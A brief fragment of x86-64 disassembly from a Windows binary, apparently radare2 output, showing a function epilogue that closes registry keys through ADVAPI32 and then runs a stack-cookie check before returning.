call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140014970
add rsp, 0x2a0
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret